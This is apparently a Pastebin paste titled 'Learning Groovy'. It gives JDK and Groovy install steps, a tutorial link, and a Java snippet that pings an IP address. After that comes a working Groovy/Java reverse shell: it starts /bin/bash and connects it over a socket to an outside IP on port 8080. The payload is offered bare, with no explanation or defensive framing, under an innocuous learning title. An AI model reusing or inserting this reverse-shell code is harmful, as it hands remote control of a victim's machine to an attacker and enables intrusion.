Advertisement
joemccray

Learning Groovy

Aug 21st, 2016
665
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.36 KB | None | 0 0
  1. ###################
  2. # Learning Groovy #
  3. ###################
  4.  
  5.  
  6. Goto the following link:
  7. http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downloads-1880260.html
  8.  
  9. On the link above you need to download and install:
  10. jdk-7u79-macosx-x64.dmg
  11.  
  12. Then use homebrew to install Groovy
  13. brew install groovy
  14.  
  15.  
  16. Great tutorial reference:
  17. https://learnxinyminutes.com/docs/groovy/
  18.  
  19.  
  20.  
  21. public class PingExample {
  22. public static void main(String[] args){
  23. try{
  24. InetAddress address = InetAddress.getByName("54.209.131.202");
  25. boolean reachable = address.isReachable(10000);
  26.  
  27. System.out.println("Is host reachable? " + reachable);
  28. } catch (Exception e){
  29. e.printStackTrace();
  30. }
  31. }
  32. }
  33.  
  34.  
  35. --------------
  36.  
  37. String host="54.209.131.202";
  38. int port=8080;
  39. String cmd="/bin/bash";
  40. Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
  41.  
  42. --------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement